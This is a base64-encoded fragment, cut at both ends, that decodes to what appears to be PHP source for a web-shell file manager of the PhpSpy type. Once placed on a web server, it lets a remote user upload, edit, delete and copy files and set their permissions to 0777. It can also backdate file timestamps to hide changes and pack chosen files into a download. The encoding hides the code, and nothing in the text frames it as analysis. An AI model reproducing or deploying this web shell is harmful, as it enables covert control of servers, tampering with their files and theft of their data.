WxldGUgZGlyDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENyZWF0ZSBuZXcgZGlyDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gVXBsb2FkIGZpbGUNCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KCQltKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgl9DQoNCgkvLyBFZGl0IGZpbGUNCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7DQoJCSRmcCA9IEBmb3BlbigkZWRpdGZpbGVuYW1lLCd3Jyk7DQoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCg0KCS8vIE1vZGlmeQ0KCWVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBSZW5hbWUNCgllbHNlaWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENvcHUNCgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7DQoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBGaWxlIGV4aXQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIERhdGUNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRG93bmxvYWQNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gRGVsZXRlIGZpbGUNCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsNCgkJaWYgKCRkbCkgew0KCQkJJGRmaWxlcz0nJzsNCgkJCSRzdWNjID0gJGZhaWwgPSAwOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQlpZiAoQHVubGluaygkZmlsZXBhdGgpKSB7DQoJCQkJCSRzdWNjKys7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWwrKzsNCgkJCQl9DQoJCQl9DQoJCQltKCdEZWxldGVkIGZpbGUgaGF2ZSBmaW5pc2hlZD8/Y2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7DQoJCX0gZWxzZSB7DQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIEZ1bmN0aW9uIE5ld2Rpcg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsNCgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOw0KCW1ha2VoaWRlKCduZXdwZXJtJyk7DQoJbWFrZWhpZGUoJ3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7DQoJbWFrZWhpZGUoJ3NuYW1lJyk7DQoJbWFrZWhpZGUoJ3RvZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsNCgltYWtlaGlkZSgnb2xkbmFtZScpOw0KCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicpOw0KCW1ha2VoaWRlKCdvcGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJyk7DQoJZm9ybWZvb3QoKTsNCg0KCSRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkbm93cGF0aCk7DQoJISRmcmVlICYmICRmcmVlID0gMDsNCgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOw0KCSEkYWxsICYmICRhbGwgPSAwOw0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7DQoJcCgnPGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj48Qj5GaWxlIE1hbmFnZXI8L2I+IDwvZm9udD4gQ3VycmVudCBkaXNrIGZyZWUgPGZvbnQgY29sb3I9cmVkPicuc2l6ZWNvdW50KCRmcmVlKS4nPC9mb250PiBvZiA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGFsbCkuJzwvZm9udD4gKDxmb250IGNvbG9yPXJlZD4nLiR1c2VkX3BlcmNlbnQuJzwvZm9udD4lKTwvZm9udD4nKTsNCg0KPz4NCg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4NCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQogIDx0cj4NCiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPg0KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4NCiAgICA8dGQgbm93cmFwPjxpbnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJHTyIgdHlwZT0ic3VibWl0Ij48L3RkPg0KICA8L3RyPg0KICA8L2Zvcm0+DQoNCjwvdGFibGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsNCgl9IGVsc2Ugew0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7DQoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgew0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgew0KCQkJCWlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZm9ybT4nKTsNCg0KCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOw0KDQoJLy8gR2V0IHBhdGgNCgkkZGlyZGF0YT1hcnJheSgpOw0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoJfSBlbHNlIHsNCgkJLy8gT3BlbiBkaXINCgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7DQoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaWxlZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoJCQkJJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRhdGFbXT0kZmlsZWRiOw0KCQkJfQ0KCQl9Ly8gd2hpbGUNCgkJdW5zZXQoJGRpcmRiKTsNCgkJdW5zZXQoJGZpbGVkYik7DQoJCUBjbG9zZWRpcigkZGlycyk7DQoJfQ0KCUBzb3J0KCRkaXJkYXRhKTsNCglAc29ydCgkZmlsZWRhdGEpOw0KCSRkaXJfaSA9ICcwJzsNCglmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsNCgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsNCgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iV2luZ2RpbmdzIDMiIHNpemU9ND49PC9mb250PjwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2NvbG9yPSJncmVlbiIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCSRmaWxlX2kgPSAnMCc7DQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsNCgk